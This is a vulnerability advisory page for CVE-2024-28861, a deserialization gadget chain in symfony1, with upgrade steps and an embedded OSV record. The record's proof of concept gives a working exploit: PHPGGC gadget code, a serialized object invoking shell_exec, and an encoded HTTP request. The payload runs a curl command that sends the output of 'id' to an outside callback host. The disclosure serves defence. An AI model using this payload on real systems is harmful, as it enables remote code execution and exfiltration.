CVE-2024-28861: Friendsofsymfony1/symfony1 Gadget Chain Vulnerability
MODERATECVE-2024-28861 is a MODERATE gadget chain vulnerability (CWE-502: Deserialization of Untrusted Data) affecting Friendsofsymfony1/symfony1 libraries in the Packagist ecosystem. The issue involves gadget chain in symfony 1 due to uncontrolled unserialized input in sfnamespacedparameterholder. Remediation is available by upgrading affected packages to version 1.5.19.
CVE-2024-28861 at a Glance
How to Fix CVE-2024-28861
To remediate this vulnerability, upgrade all affected Friendsofsymfony1/symfony1 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade friendsofsymfony1/symfony1 to 1.5.19
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for friendsofsymfony1/symfony1
How to Check if You Are Affected
To determine whether your application is affected by CVE-2024-28861, inspect your project dependencies for Friendsofsymfony1/symfony1:
inspect dependencies for friendsofsymfony1/symfony1
Analyze the terminal output to locate any version of Friendsofsymfony1/symfony1 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.19), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-502: Deserialization of Untrusted Data, where the product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid. In Friendsofsymfony1/symfony1, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2024-28861 Affected Friendsofsymfony1/symfony1 Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
friendsofsymfony1/symfony1
|
Packagist |
≥ 1.1.0
< 1.5.19
|
1.5.19
|
References
Frequently Asked Questions
What is CVE-2024-28861?
Which Friendsofsymfony1/symfony1 versions are affected?
What version fixes CVE-2024-28861?
Is friendsofsymfony1/symfony1 affected?
What CWE is associated with CVE-2024-28861?
How can I check Packagist dependencies for CVE-2024-28861?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pv9j-c53q-h433",
"modified" : "2024-07-25T13:36:28Z",
"published" : "2024-03-22T16:56:18Z",
"aliases" : [ "CVE-2024-28861" ],
"summary" : "Gadget chain in Symfony 1 due to uncontrolled unserialized input in sfNamespacedParameterHolder",
"details" : "### Summary\nSymfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project.\n\n### Details\nThis vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example:\n```php\n public function executeIndex(sfWebRequest $request)\n {\n $a = unserialize($request->getParameter('user'));\n }\n```\n\nWe will make the assumption this is the case in the rest of this explanation.\n\nSymfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method:\n```php\n public function unserialize($serialized)\n {\n $this->__unserialize(unserialize($serialized));\n }\n```\n\nWhich make an array access on the deserialized data without control on the type of the `$data` parameter:\n```php\n public function __unserialize($data)\n {\n $this->default_namespace = $data[0];\n $this->parameters = $data[1];\n }\n```\n\nThus, an attacker provide any object type in `$data` to make PHP access to another array/object properties than intended by the developer. In particular, it is possible to abuse the array access which is triggered on `$data[0]` for any class implementing `ArrayAccess` interface. `sfOutputEscaperArrayDecorator` implements such interface. Here is the call made on `offsetGet()`:\n```php\n public function offsetGet($offset)\n {\n $value = isset($this->value[$offset]) ? $this->value[$offset] : null;\n\n return sfOutputEscaper::escape($this->escapingMethod, $value);\n }\n```\nWhich trigger `escape()` in `sfOutputEscaper` class with attacker controlled parameters from deserialized object with `$this->escapingMethod` and `$this->value[$offset]`:\n```php\n public static function escape($escapingMethod, $value)\n {\n if (null === $value)\n {\n return $value;\n }\n\n // Scalars are anything other than arrays, objects and resources.\n if (is_scalar($value))\n {\n return call_user_func($escapingMethod, $value);\n }\n```\nWhich calls `call_user_func` with previous attacker controlled input.\n\n\n### PoC\n\nSo we need the following object to trigger an OS command like `shell_exec(\"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\");`:\n\n```php\nobject(sfNamespacedParameterHolder)#4 (1) {\n [\"prop\":protected]=>\n object(sfOutputEscaperArrayDecorator)#3 (2) {\n [\"value\":protected]=>\n array(1) {\n [0]=>\n string(66) \"curl https://7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com?a=$(id)\"\n }\n [\"escapingMethod\":protected]=>\n string(10) \"shell_exec\"\n }\n}\n```\n\nWe craft a chain with PHPGGC. Please do not publish it as I will make a PR on PHPGGC but I wait for you to fix before:\n* gadgets.php:\n```php\nclass sfOutputEscaperArrayDecorator\n{\n protected $value;\n\n protected $escapingMethod;\n\n public function __construct($escapingMethod, $value) {\n $this->escapingMethod = $escapingMethod;\n $this->value = $value;\n }\n}\n\nclass sfNamespacedParameterHolder implements Serializable \n{\n protected $prop = null;\n\n public function __construct($prop) {\n $this->prop = $prop;\n }\n\n public function serialize()\n {\n return serialize($this->prop);\n }\n\n public function unserialize($serialized)\n {\n \n }\n}\n\n```\n\n* chain.php:\n```php\nnamespace GadgetChain\\Symfony;\n\nclass RCE16 extends \\PHPGGC\\GadgetChain\\RCE\\FunctionCall\n{\n public static $version = '1.1.0 <= 1.5.18';\n public static $vector = 'Serializable';\n public static $author = 'darkpills';\n public static $information = '';\n\n public function generate(array $parameters)\n {\n $escaper = new \\sfOutputEscaperArrayDecorator($parameters['function'], array($parameters['parameter']));\n\n $tableInfo = new \\sfNamespacedParameterHolder($escaper);\n \n return $tableInfo;\n }\n}\n```\n\nAnd trigger the deserialization with an HTTP request like the following on a dummy test controller:\n\n```http\nPOST /frontend_dev.php/test/index HTTP/1.1\nHost: localhost:8001\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 532\n\nuser=C%3A27%3A%22sfNamespacedParameterHolder%22%3A183%3A%7BO%3A29%3A%22sfOutputEscaperArrayDecorator%22%3A2%3A%7Bs%3A8%3A%22%00%2A%00value%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A66%3A%22curl+https%3A%2F%2F7v3fcazcqt9v0dowwmef4aph48azyqtei.oastify.com%3Fa%3D%24%28id%29%22%3B%7Ds%3A17%3A%22%00%2A%00escapingMethod%22%3Bs%3A10%3A%22shell_exec%22%3B%7D%7D\n```\n\nNote that CVSS score is not applicable to this kind of vulnerability.\n\n### Impact\nThe attacker can execute any PHP command which leads to remote code execution.\n\n### Recommendation\nI recommend to add a type checking before doing any processing on the unserialized input like this example:\n```php\npublic function unserialize($data)\n{\n if (is_array($data)) {\n $this->default_namespace = $data[0];\n $this->parameters = $data[1];\n } else {\n $this->default_namespace = null;\n $this->parameters = array();\n\n // or throw an exception maybe?\n }\n}\n```\n\nThis fix should be applied in both `sfNamespacedParameterHolder` and `sfParameterHolder`.",
"severity" : [ ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "friendsofsymfony1/symfony1"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "1.1.0"
}, {
"fixed" : "1.5.19"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/FriendsOfSymfony1/symfony1/security/advisories/GHSA-pv9j-c53q-h433"
}, {
"type" : "WEB",
"url" : "https://github.com/FriendsOfPHP/security-advisories/blob/master/friendsofsymfony1/symfony1/CVE-2024-28861.yaml"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/FriendsOfSymfony1/symfony1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-502" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2024-03-22T16:56:18Z",
"nvd_published_at" : "2024-03-22T17:15:07Z"
}
}